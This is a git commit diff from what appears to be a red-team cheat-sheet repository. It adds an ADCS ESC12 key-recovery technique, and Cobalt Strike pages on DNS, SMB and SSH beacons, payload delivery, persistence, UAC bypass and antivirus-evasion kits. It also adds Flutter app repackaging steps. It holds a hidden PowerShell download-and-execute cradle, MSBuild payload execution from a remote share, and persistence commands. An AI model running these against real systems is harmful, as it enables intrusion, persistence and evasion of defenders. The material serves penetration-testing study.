C2 pages + ESC12 + Flutter
Swissky
parent
d0f0d281fd
commit
235dcaf882
|
|
@ -353,6 +353,24 @@ Exploitation:
|
|||
```
|
||||
|
||||
|
||||
## ESC12 - ADCS CA on YubiHSM
|
||||
|
||||
The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.
|
||||
|
||||
Unlocking the YubiHSM with the plaintext password in the registry key: `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`.
|
||||
|
||||
* Importing the CA certificate into the user store
|
||||
```ps1
|
||||
certutil -addstore -user my <CA certificate file>
|
||||
```
|
||||
* Associated with the private key in the YubiHSM2 device
|
||||
```ps1
|
||||
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
|
||||
```
|
||||
* Finally use `certutil -sign ...`
|
||||
|
||||
|
||||
|
||||
## ESC13 - Issuance Policy
|
||||
|
||||
> If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.
|
||||
|
|
@ -522,4 +540,6 @@ Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User vi
|
|||
* [ADCS ESC13 Abuse Technique - Jonas Bülow Knudsen - 02/15/2024](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
|
||||
* [From DA to EA with ESC5 - Andy Robbins - May 16, 2023](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)
|
||||
* [ADCS ESC14 Abuse Technique - Jonas Bülow Knudsen - 02/01/2024](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
|
||||
* [ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547)
|
||||
* [ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547)
|
||||
* [ESC12 – Shell access to ADCS CA with YubiHSM - hajo - October 2023](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
|
||||
* [AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#shell-access-to-adcs-ca-with-yubihsm-esc12)
|
||||
|
|
@ -12,6 +12,15 @@ djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DE
|
|||
* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)
|
||||
|
||||
|
||||
## Enumerate Pre-Created Computer Account
|
||||
|
||||
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
|
||||
|
||||
```ps1
|
||||
nxc -u username -p password -M pre2K
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)
|
||||
|
|
@ -9,6 +9,13 @@
|
|||
```
|
||||
|
||||
|
||||
## Access
|
||||
|
||||
```ps1
|
||||
https://myapps.microsoft.com/signin/<App ID>?tenantId=<TenantID>
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
|
||||
|
|
@ -0,0 +1,120 @@
|
|||
# Cobalt Strike - Beacons
|
||||
|
||||
## DNS Beacon
|
||||
|
||||
### DNS Configuration
|
||||
|
||||
* Edit the `Zone File` for the domain
|
||||
* Create an `A record` for Cobalt Strike system
|
||||
* Create an `NS record` that points to FQDN of your Cobalt Strike system
|
||||
|
||||
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a `DNS A` record and point it to your Cobalt Strike team server. Use `DNS NS` records to delegate several domains or sub-domains to your Cobalt Strike team server's `A` record.
|
||||
|
||||
|
||||
Example of DNS on Digital Ocean:
|
||||
|
||||
```powershell
|
||||
NS example.com directs to 10.10.10.10. 86400
|
||||
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
|
||||
A campaigns.example.com directs to 10.10.10.10 3600
|
||||
```
|
||||
|
||||
After creating a DNS listener (`Beacon DNS`), verify that your domains resolve to `0.0.0.0`
|
||||
|
||||
* `nslookup jibberish.beacon polling.campaigns.domain.com`
|
||||
* `nslookup jibberish.beacon campaigns.domain.com`
|
||||
|
||||
If you have trouble with DNS, you can restart the `systemd` service and force Google DNS nameservers.
|
||||
|
||||
```powershell
|
||||
systemctl disable systemd-resolved
|
||||
systemctl stop systemd-resolved
|
||||
rm /etc/resolv.conf
|
||||
echo "nameserver 8.8.8.8" > /etc/resolv.conf
|
||||
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
|
||||
```
|
||||
|
||||
|
||||
### DNS Redirector
|
||||
|
||||
```ps1
|
||||
socat -T 1 udp4-listen:53,fork udp4:teamserver.example.net:53
|
||||
```
|
||||
|
||||
Debug the DNS queries with `tcpdump -l -n -s 5655 -i eth0 udp port 53`.
|
||||
|
||||
|
||||
### DNS Mode
|
||||
|
||||
| Mode | Description |
|
||||
| --- | --- |
|
||||
| `mode dns-txt` | DNS TXT record data channel (default) |
|
||||
| `mode dns` | DNS A record data channel |
|
||||
| `mode dns6` | DNS AAAA record channel |
|
||||
|
||||
|
||||
## SMB Beacon
|
||||
|
||||
```powershell
|
||||
link [host] [pipename]
|
||||
connect [host] [port]
|
||||
unlink [host] [PID]
|
||||
jump [exec] [host] [pipe]
|
||||
```
|
||||
|
||||
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
|
||||
|
||||
| Error Code | Meaning | Description |
|
||||
|------------|----------------------|----------------------------------------------------|
|
||||
| 2 | File Not Found | There is no beacon for you to link to |
|
||||
| 5 | Access is denied | Invalid credentials or you don't have permission |
|
||||
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
|
||||
|
||||
|
||||
## SSH Beacon
|
||||
|
||||
```powershell
|
||||
# deploy a beacon
|
||||
beacon> help ssh
|
||||
Use: ssh [target:port] [user] [pass]
|
||||
Spawn an SSH client and attempt to login to the specified target
|
||||
|
||||
beacon> help ssh-key
|
||||
Use: ssh [target:port] [user] [/path/to/key.pem]
|
||||
Spawn an SSH client and attempt to login to the specified target
|
||||
|
||||
# beacon's commands
|
||||
upload Upload a file
|
||||
download Download a file
|
||||
socks Start SOCKS4a server to relay traffic
|
||||
sudo Run a command via sudo
|
||||
rportfwd Setup a reverse port forward
|
||||
shell Execute a command via the shell
|
||||
```
|
||||
|
||||
|
||||
## Metasploit compatibility
|
||||
|
||||
* Payload: `windows/meterpreter/reverse_http or windows/meterpreter/reverse_https`
|
||||
* Set `LHOST` and `LPORT` to the beacon
|
||||
* Set `DisablePayloadHandler` to `True`
|
||||
* Set `PrependMigrate` to `True`
|
||||
* `exploit -j`
|
||||
|
||||
|
||||
## Custom Payloads
|
||||
|
||||
```powershell
|
||||
* Attacks > Packages > Payload Generator
|
||||
* Attacks > Packages > Scripted Web Delivery (S)
|
||||
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
|
||||
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
|
||||
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Cobalt Strike > User Guide > DNS Beacon](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/listener-infrastructue_beacon-dns.htm)
|
||||
* [Simple DNS Redirectors for Cobalt Strike - Thursday 11 March, 2021](https://www.cobaltstrike.com/blog/simple-dns-redirectors-for-cobalt-strike)
|
||||
* [CobaltStrike DNS Beacon Lab Setup - rioasmara - March 18, 2023](https://rioasmara.com/2023/03/18/cobaltstrike-dns-beacon-lab-setup/)
|
||||
|
|
@ -0,0 +1,104 @@
|
|||
# Cobalt Strike - Kits
|
||||
|
||||
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
|
||||
|
||||
## Elevate Kit
|
||||
|
||||
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
|
||||
|
||||
```powershell
|
||||
beacon> runasadmin
|
||||
|
||||
Beacon Command Elevators
|
||||
========================
|
||||
|
||||
Exploit Description
|
||||
------- -----------
|
||||
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
|
||||
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
|
||||
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
|
||||
svc-exe Get SYSTEM via an executable run as a service
|
||||
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
|
||||
uac-token-duplication Bypass UAC with Token Duplication
|
||||
```
|
||||
|
||||
## Persistence Kit
|
||||
|
||||
* https://github.com/0xthirteen/MoveKit
|
||||
* https://github.com/fireeye/SharPersist
|
||||
```powershell
|
||||
# List persistences
|
||||
SharPersist -t schtaskbackdoor -m list
|
||||
SharPersist -t startupfolder -m list
|
||||
SharPersist -t schtask -m list
|
||||
|
||||
# Add a persistence
|
||||
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
||||
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
|
||||
|
||||
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
||||
SharPersist -t service -n "Some Service" -m remove
|
||||
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
||||
SharPersist -t schtask -n "Some Task" -m remove
|
||||
```
|
||||
|
||||
|
||||
## Resource Kit
|
||||
|
||||
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
|
||||
|
||||
|
||||
## Artifact Kit
|
||||
|
||||
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
|
||||
|
||||
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
|
||||
|
||||
- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
|
||||
- Install the dependencies : `sudo apt-get install mingw-w64`
|
||||
- Edit the Artifact code
|
||||
* Change pipename strings
|
||||
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
|
||||
* Change Import
|
||||
- Build the Artifact
|
||||
- Cobalt Strike -> Script Manager > Load .cna
|
||||
|
||||
|
||||
## Mimikatz Kit
|
||||
|
||||
* Download and extract the .tgz from the Arsenal
|
||||
* Load the mimikatz.cna aggressor script
|
||||
* Use mimikatz functions as normal
|
||||
|
||||
|
||||
## Sleep Mask Kit
|
||||
|
||||
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
|
||||
|
||||
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
|
||||
|
||||
|
||||
## Mutator Kit
|
||||
|
||||
> The Mutator Kit, introduced by Cobalt Strike, is a tool designed to create uniquely mutated versions of a "sleep mask" used in payloads to evade detection by static signatures. It utilizes LLVM obfuscation techniques to alter the sleep mask, making it difficult for memory scanning tools to identify the mask based on predefined patterns, thereby enhancing operational security for red team activities.
|
||||
|
||||
The OBFUSCATIONS variable can be `flattening`,`substitution`,`split-basic-blocks`,`bogus`.
|
||||
|
||||
```ps1
|
||||
OBFUSCATIONS=substitution mutator.sh x64 -emit-llvm -S example.c -o example_with_substitutions.ll
|
||||
mutator.sh x64 -c -DIMPL_CHKSTK_MS=1 -DMASK_TEXT_SECTION=1 -o sleepmask.x64.o src49/sleepmask.c
|
||||
```
|
||||
|
||||
|
||||
## Thread Stack Spoofer
|
||||
|
||||
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
|
||||
|
||||
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Introducing the Mutator Kit: Creating Object File Monstrosities with Sleep Mask and LLVM - @joehowwolf @HenriNurmi](https://www.cobaltstrike.com/blog/introducing-the-mutator-kit-creating-object-file-monstrosities-with-sleep-mask-and-llvm)
|
||||
|
|
@ -13,7 +13,6 @@ $ ./cobaltstrike
|
|||
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
|
||||
```
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
* [Infrastructure](#infrastructure)
|
||||
|
|
@ -21,11 +20,6 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri
|
|||
* [Domain fronting](#domain-fronting)
|
||||
* [OpSec](#opsec)
|
||||
* [Customer ID](#customer-id)
|
||||
* [Payloads](#payloads)
|
||||
* [DNS Beacon](#dns-beacon)
|
||||
* [SMB Beacon](#smb-beacon)
|
||||
* [Metasploit compatibility](#metasploit-compatibility)
|
||||
* [Custom Payloads](#custom-payloads)
|
||||
* [Malleable C2](#malleable-c2)
|
||||
* [Files](#files)
|
||||
* [Powershell and .NET](#powershell-and-net)
|
||||
|
|
@ -33,15 +27,6 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri
|
|||
* [.NET remote execution](#net-remote-execution)
|
||||
* [Lateral Movement](#lateral-movement)
|
||||
* [VPN & Pivots](#vpn--pivots)
|
||||
* [Kits](#kits)
|
||||
* [Elevate Kit](#elevate-kit)
|
||||
* [Persistence Kit](#persistence-kit)
|
||||
* [Resource Kit](#resource-kit)
|
||||
* [Artifact Kit](#artifact-kit)
|
||||
* [Mimikatz Kit](#mimikatz-kit)
|
||||
* [Sleep Mask Kit](#sleep-mask-kit)
|
||||
* [Mutator Kit](#mutator-kit)
|
||||
* [Thread Stack Spoofer](#thread-stack-spoofer)
|
||||
* [Beacon Object Files](#beacon-object-files)
|
||||
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
|
||||
* [References](#references)
|
||||
|
|
@ -85,99 +70,6 @@ socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
|
|||
* The trial has a Customer ID value of 0.
|
||||
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
|
||||
|
||||
## Payloads
|
||||
|
||||
### DNS Beacon
|
||||
|
||||
* Edit the Zone File for the domain
|
||||
* Create an A record for Cobalt Strike system
|
||||
* Create an NS record that points to FQDN of your Cobalt Strike system
|
||||
|
||||
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
|
||||
|
||||
* nslookup jibberish.beacon polling.campaigns.domain.com
|
||||
* nslookup jibberish.beacon campaigns.domain.com
|
||||
|
||||
Example of DNS on Digital Ocean:
|
||||
|
||||
```powershell
|
||||
NS example.com directs to 10.10.10.10. 86400
|
||||
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
|
||||
A campaigns.example.com directs to 10.10.10.10 3600
|
||||
```
|
||||
|
||||
```powershell
|
||||
systemctl disable systemd-resolved
|
||||
systemctl stop systemd-resolved
|
||||
rm /etc/resolv.conf
|
||||
echo "nameserver 8.8.8.8" > /etc/resolv.conf
|
||||
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
|
||||
```
|
||||
|
||||
Configuration:
|
||||
1. **host**: campaigns.domain.com
|
||||
2. **beacon**: polling.campaigns.domain.com
|
||||
3. Interact with a beacon, and `sleep 0`
|
||||
|
||||
|
||||
### SMB Beacon
|
||||
|
||||
```powershell
|
||||
link [host] [pipename]
|
||||
connect [host] [port]
|
||||
unlink [host] [PID]
|
||||
jump [exec] [host] [pipe]
|
||||
```
|
||||
|
||||
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
|
||||
|
||||
| Error Code | Meaning | Description |
|
||||
|------------|----------------------|----------------------------------------------------|
|
||||
| 2 | File Not Found | There is no beacon for you to link to |
|
||||
| 5 | Access is denied | Invalid credentials or you don't have permission |
|
||||
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
|
||||
|
||||
|
||||
### SSH Beacon
|
||||
|
||||
```powershell
|
||||
# deploy a beacon
|
||||
beacon> help ssh
|
||||
Use: ssh [target:port] [user] [pass]
|
||||
Spawn an SSH client and attempt to login to the specified target
|
||||
|
||||
beacon> help ssh-key
|
||||
Use: ssh [target:port] [user] [/path/to/key.pem]
|
||||
Spawn an SSH client and attempt to login to the specified target
|
||||
|
||||
# beacon's commands
|
||||
upload Upload a file
|
||||
download Download a file
|
||||
socks Start SOCKS4a server to relay traffic
|
||||
sudo Run a command via sudo
|
||||
rportfwd Setup a reverse port forward
|
||||
shell Execute a command via the shell
|
||||
```
|
||||
|
||||
### Metasploit compatibility
|
||||
|
||||
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
|
||||
* Set LHOST and LPORT to the beacon
|
||||
* Set DisablePayloadHandler to True
|
||||
* Set PrependMigrate to True
|
||||
* exploit -j
|
||||
|
||||
### Custom Payloads
|
||||
|
||||
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
|
||||
|
||||
```powershell
|
||||
* Attacks > Packages > Payload Generator
|
||||
* Attacks > Packages > Scripted Web Delivery (S)
|
||||
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
|
||||
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
|
||||
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
|
||||
```
|
||||
|
||||
## Malleable C2
|
||||
|
||||
|
|
@ -360,104 +252,6 @@ beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
|
|||
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
|
||||
```
|
||||
|
||||
## Kits
|
||||
|
||||
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
|
||||
|
||||
### Elevate Kit
|
||||
|
||||
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
|
||||
|
||||
```powershell
|
||||
beacon> runasadmin
|
||||
|
||||
Beacon Command Elevators
|
||||
========================
|
||||
|
||||
Exploit Description
|
||||
------- -----------
|
||||
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
|
||||
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
|
||||
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
|
||||
svc-exe Get SYSTEM via an executable run as a service
|
||||
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
|
||||
uac-token-duplication Bypass UAC with Token Duplication
|
||||
```
|
||||
|
||||
### Persistence Kit
|
||||
|
||||
* https://github.com/0xthirteen/MoveKit
|
||||
* https://github.com/fireeye/SharPersist
|
||||
```powershell
|
||||
# List persistences
|
||||
SharPersist -t schtaskbackdoor -m list
|
||||
SharPersist -t startupfolder -m list
|
||||
SharPersist -t schtask -m list
|
||||
|
||||
# Add a persistence
|
||||
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
||||
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
|
||||
|
||||
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
||||
SharPersist -t service -n "Some Service" -m remove
|
||||
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
||||
SharPersist -t schtask -n "Some Task" -m remove
|
||||
```
|
||||
|
||||
### Resource Kit
|
||||
|
||||
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
|
||||
|
||||
### Artifact Kit
|
||||
|
||||
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
|
||||
|
||||
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
|
||||
|
||||
- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
|
||||
- Install the dependencies : `sudo apt-get install mingw-w64`
|
||||
- Edit the Artifact code
|
||||
* Change pipename strings
|
||||
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
|
||||
* Change Import
|
||||
- Build the Artifact
|
||||
- Cobalt Strike -> Script Manager > Load .cna
|
||||
|
||||
|
||||
### Mimikatz Kit
|
||||
|
||||
* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
|
||||
* Load the mimikatz.cna aggressor script
|
||||
* Use mimikatz functions as normal
|
||||
|
||||
|
||||
### Sleep Mask Kit
|
||||
|
||||
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
|
||||
|
||||
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
|
||||
|
||||
|
||||
### Mutator Kit
|
||||
|
||||
> The Mutator Kit, introduced by Cobalt Strike, is a tool designed to create uniquely mutated versions of a "sleep mask" used in payloads to evade detection by static signatures. It utilizes LLVM obfuscation techniques to alter the sleep mask, making it difficult for memory scanning tools to identify the mask based on predefined patterns, thereby enhancing operational security for red team activities.
|
||||
|
||||
The OBFUSCATIONS variable can be `flattening`,`substitution`,`split-basic-blocks`,`bogus`.
|
||||
|
||||
```ps1
|
||||
OBFUSCATIONS=substitution mutator.sh x64 -emit-llvm -S example.c -o example_with_substitutions.ll
|
||||
mutator.sh x64 -c -DIMPL_CHKSTK_MS=1 -DMASK_TEXT_SECTION=1 -o sleepmask.x64.o src49/sleepmask.c
|
||||
```
|
||||
|
||||
|
||||
### Thread Stack Spoofer
|
||||
|
||||
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
|
||||
|
||||
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
|
||||
|
||||
|
||||
## Beacon Object Files
|
||||
|
||||
|
|
@ -478,6 +272,7 @@ Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
|
|||
```
|
||||
* Execute: `inline-execute /path/to/hello.o`
|
||||
|
||||
|
||||
## NTLM Relaying via Cobalt Strike
|
||||
|
||||
```powershell
|
||||
|
|
@ -488,6 +283,7 @@ beacon> upload C:\Tools\PortBender\WinDivert64.sys
|
|||
beacon> PortBender redirect 445 8445
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
|
||||
|
|
@ -506,5 +302,4 @@ beacon> PortBender redirect 445 8445
|
|||
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
|
||||
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
|
||||
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
|
||||
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)
|
||||
* [Introducing the Mutator Kit: Creating Object File Monstrosities with Sleep Mask and LLVM - @joehowwolf @HenriNurmi](https://www.cobaltstrike.com/blog/introducing-the-mutator-kit-creating-object-file-monstrosities-with-sleep-mask-and-llvm)
|
||||
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)
|
||||
|
|
@ -149,6 +149,16 @@ Hermes: pip install hbctool
|
|||
```
|
||||
|
||||
|
||||
### Flutter
|
||||
|
||||
Indentify Flutter use in the `MANIFEST.MF` and search for `libflutter.so`.
|
||||
|
||||
* [worawit/blutter](https://github.com/worawit/blutter) - Flutter Mobile Application Reverse Engineering Tool
|
||||
```ps1
|
||||
blutter jadx/resources/lib/arm64-v8a/ ./blutter_output
|
||||
```
|
||||
|
||||
|
||||
## Dynamic Analysis
|
||||
|
||||
Dynamic analysis for Android malware involves executing and monitoring an app in a controlled environment to observe its behavior. This technique detects malicious activities like data exfiltration, unauthorized access, and system modifications. Additionally, it aids in reverse engineering app features, revealing hidden functionalities and potential vulnerabilities for better threat mitigation.
|
||||
|
|
@ -309,6 +319,31 @@ Examples:
|
|||
* [quickstarts/js/test.rb](https://github.com/appium/appium/blob/master/packages/appium/sample-code/quickstarts/rb/test.rb)
|
||||
|
||||
|
||||
### Flutter
|
||||
|
||||
Repackage a Flutter Android application to allow Burp Suite proxy interception.
|
||||
|
||||
* [ptswarm/reFlutter](https://github.com/ptswarm/reFlutter) - Flutter Reverse Engineering Framework
|
||||
```
|
||||
pip3 install reflutter
|
||||
reflutter application.apk
|
||||
```
|
||||
* Sign the apk with [patrickfav/uber-apk-signer](https://github.com/patrickfav/uber-apk-signer/releases/tag/v1.2.1)
|
||||
```ps1
|
||||
java -jar ./uber-apk-signer-1.3.0.jar --apks release.apk
|
||||
java -jar ./uber-apk-signer.jar --allowResign -a release.RE.apk
|
||||
```
|
||||
|
||||
An alternative way to do it is using a rooted Android device with `zygisk-reflutter`.
|
||||
|
||||
* [yohanes/zygisk-reflutter](https://github.com/yohanes/zygisk-reflutter) - Zygisk-based reFlutter (Rooted Android with Magisk installed and Zygisk Enabled)
|
||||
```ps1
|
||||
adb push zygiskreflutter_1.0.zip /sdcard/
|
||||
adb shell su -c magisk --install-module /sdcard/zygiskreflutter_1.0.zip
|
||||
adb reboot
|
||||
```
|
||||
|
||||
|
||||
## SSL Pinning Bypass
|
||||
|
||||
SSL certificate pinning in an APK involves embedding a server's public key or certificate directly into the app. This ensures the app only trusts specific certificates, preventing man-in-the-middle attacks by rejecting any certificates not matching the pinned ones, even if they are otherwise valid.
|
||||
|
|
|
|||
|
|
@ -38,7 +38,7 @@ theme:
|
|||
- search.suggest
|
||||
|
||||
extra_css:
|
||||
- custom.css
|
||||
- custom.css
|
||||
|
||||
markdown_extensions:
|
||||
- def_list
|
||||
|
|
|
|||
|
|
@ -15,6 +15,7 @@
|
|||
<br>
|
||||
<script async src="https://static.addtoany.com/menu/page.js"></script>
|
||||
</div>
|
||||
<script defer src="https://cloud.umami.is/script.js" data-website-id="49aad71c-7d98-4635-8bd5-b6799c8874f8"></script>
|
||||
{% endblock %}
|
||||
|
||||
{% block styles %}
|
||||
|
|
|
|||
Loading…
Reference in New Issue